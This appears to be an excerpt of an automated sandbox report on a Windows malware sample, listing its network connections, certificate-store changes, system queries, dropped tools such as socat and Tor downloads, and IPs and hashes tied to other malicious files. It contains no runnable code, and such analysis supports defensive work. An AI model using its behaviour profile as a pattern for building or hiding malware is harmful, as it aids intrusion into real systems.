Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe	Process information set: NOOPENFILEERRORBOX

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 104.20.73.28 443
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 212.51.156.17 443
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 89.45.235.21 443
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 192.30.253.112 443
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 192.30.253.121 443
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 174.129.241.106 80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 93.184.221.200 443

Lowering of HIPS / PFW / Operating System Security Settings:

Adds / modifies Windows certificates

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4 Blob

Language, Device and Operating System Detection:

Contains functionality to query local / system time

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

Code function: 1_2_013B204B GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_013B204B

Contains functionality to query windows version

Show sources

Source: C:\ProgramData\7za.exe

Code function: 6_2_0046CF4C EntryPoint,GetVersion,

6_2_0046CF4C

Queries the cryptographic machine GUID

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Contains functionality to query CPU information (cpuid)

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

Code function: 1_2_013B1E2D cpuid

1_2_013B1E2D

Queries the installation date of Windows

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Queries the volume information (name, serial number etc) of a device

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Diagnostics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Diagnostics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\Microsoft.Win32.TaskScheduler.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\Microsoft.Win32.TaskScheduler.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Queries volume information: C:\ProgramData\VitBTKxRu VolumeInformation
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Queries volume information: C:\ProgramData\VitBTKxRu VolumeInformation
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Queries volume information: C:\ProgramData\VitBTKxRu VolumeInformation
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Queries volume information: C:\ProgramData\VitBTKxRu VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Diagnostics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Diagnostics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Diagnostics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Diagnostics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Management\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\1.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Security\1.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.JScript\8.0.0.0__b03f5f7f11d50a3a\Microsoft.JScript.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.JScript\8.0.0.0__b03f5f7f11d50a3a\Microsoft.JScript.dll VolumeInformation

Behavior Graph

Simulations

Behavior and APIs

Time	Type	Description
12:34:07	API Interceptor	223x Sleep call for process: bbtsvbq.exe modified from: 60000ms to: 500ms
12:34:37	API Interceptor	1x Sleep call for process: bitsadmin.exe modified from: 60000ms to: 500ms
12:34:55	API Interceptor	2x Sleep call for process: taskeng.exe modified from: 60000ms to: 500ms
12:34:55	API Interceptor	1x Sleep call for process: powershell.exe modified from: 60000ms to: 500ms
12:34:56	API Interceptor	8x Sleep call for process: mshta.exe modified from: 60000ms to: 500ms
12:36:13	API Interceptor	3x Sleep call for process: taskkill.exe modified from: 60000ms to: 500ms

Antivirus Detection

Initial Sample

Source	Detection	Cloud	Link
bbtsvbq.exe	61%	virustotal	Browse

Dropped Files

No Antivirus matches

Domains

Source	Detection	Cloud	Link
torproject.urown.net	0%	virustotal	Browse
api.nuget.org	0%	virustotal	Browse
codeload.github.com	0%	virustotal	Browse
dist.torproject.org	0%	virustotal	Browse

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
174.129.241.106	http://chongvapors.com/f.php?d=ZG9ubmEua2xpdHprZUBhbGJlcnRhaGVhbHRoc2VydmljZXMuY2E=		malicious	Browse	api.ipify.org/
	Intuit_Invoice_649272.doc	643951eee2dac8c3677f5ef7e9cb07444f12d165f6e401c1cd7afa27d7552367	malicious	Browse	api.ipify.org/
	http://elmparkfarms.com/?A0t8v6c80ib8=study@home.com		malicious	Browse	api.ipify.org/
	Intuit_Invoice_649272.doc	643951eee2dac8c3677f5ef7e9cb07444f12d165f6e401c1cd7afa27d7552367	malicious	Browse	api.ipify.org/
	x.doc	643951eee2dac8c3677f5ef7e9cb07444f12d165f6e401c1cd7afa27d7552367	malicious	Browse	api.ipify.org/
	fax_273194.doc	42da997df77d59d9375273e0cb8f5c4d4d39cc4845ec9f6cabc5180fcf3fdf72	malicious	Browse	api.ipify.org/
	tracking_info_125533.doc	45ce33d3461844999b883db1b54a51a37ac85115f17aea24906be23362562235	malicious	Browse	api.ipify.org/
	2017-10-16-tvs-1-of-2.exe	a647d12d6298c8aef225d77f1e2b605ae78fadd7360ab0c48363d2e461612150	malicious	Browse	api.ipify.org/
93.184.221.200	1Delivery-Details.js	c97db996f24f752f916efb7ba020c80be65bc7c364fa2b5f351cbebfd700091a	malicious	Browse	mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl
	Copy1-1.pdf	18d1459554116d42804de6bcfe5e3d37bed2361f350c4ad03d080fe8b4f6e817	malicious	Browse	mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl
	1Delivery-Details.js	c97db996f24f752f916efb7ba020c80be65bc7c364fa2b5f351cbebfd700091a	malicious	Browse	mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl
	188.225.38.74/?MTE3ODY1&pano=x3_Qd_WYaR2PCIjCM_jdSqFAMUrOGUeJwY-fmLDQF5uoejahz7eSFhz26VytTzvQgfdOLrZTIgKyiBqBOQc0neFfEF9K9f6tkECVzU6ewJ&mano=ay-RWMNwlA-pqWQrJt3AnxnrIUc80jkRWC7WFTxe4fUFIRtwsQn_vKQqPKqBNxB0FgVQvKfpt3pEvAWCbqM2x2gvWLQgtxq-qK87V32ZUu&gift=MzM0MTEzNDg=		malicious	Browse	mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl
	644237f9657cc7dbaaf0e70e0fbbf7ab76f830a124b7a92e3d259c3e29b8c684.apk	644237f9657cc7dbaaf0e70e0fbbf7ab76f830a124b7a92e3d259c3e29b8c684	malicious	Browse	ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.2.min.js
	Copy1-1.pdf	18d1459554116d42804de6bcfe5e3d37bed2361f350c4ad03d080fe8b4f6e817	malicious	Browse	mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl
	https://ahs.xilohs.com/app/		malicious	Browse	mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl
	31Delivery-Details.js	ddb0955484e036672b7f92fa6576364357a568eae8609115fd741c220eb55803	malicious	Browse	mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl
	25Delivery-Details.js	91b82e1506e6ced93fa04008b9a43194859ff93d6356aff6c363ff9e3783ab8f	malicious	Browse	mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl
	Voicemail 347-694-4910.pdf	91a76a174821141f32db9fc7825e8388e1573028190831ff75cd40e0e39d31f1	malicious	Browse	mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl
	QO2813_001.pdf	407fb4196e09c1d87c99e5420d38e43de485813f06eebdd0dc34719643df514f	malicious	Browse	mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl
	http://fortworthhealthexchange.com/file.php?document=[base64		malicious	Browse	mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl
	Doc 901.pdf	be76df8751d9d31bb535dc87260d7b26a2558c976c8493b6c9db79c51dbe311f	malicious	Browse	mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl
89.45.235.21	svchost.exe	e5c643f1d8ecc0fd739d0bbe4a1c6c7de2601d86ab0fff74fd89c40908654be5	malicious	Browse
154.35.175.225	wannacry.exe	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
github.com	21DVK-049.PDF.exe	58060f633b661616ee6e5eece7d3982b47f29411f7ab8e0c1e9e1fb2482ed184	malicious	Browse	151.101.0.133
github.com	21DVK-049.PDF.exe	58060f633b661616ee6e5eece7d3982b47f29411f7ab8e0c1e9e1fb2482ed184	malicious	Browse	151.101.112.133
api.ipify.org	Legal_acknowledgement_for_melissa.oberg.doc	0980ff18bf4cf3b2892fa5fb1d8648e389f0e32bc4ac4c4f71727ba8fe535354	malicious	Browse	54.225.132.168
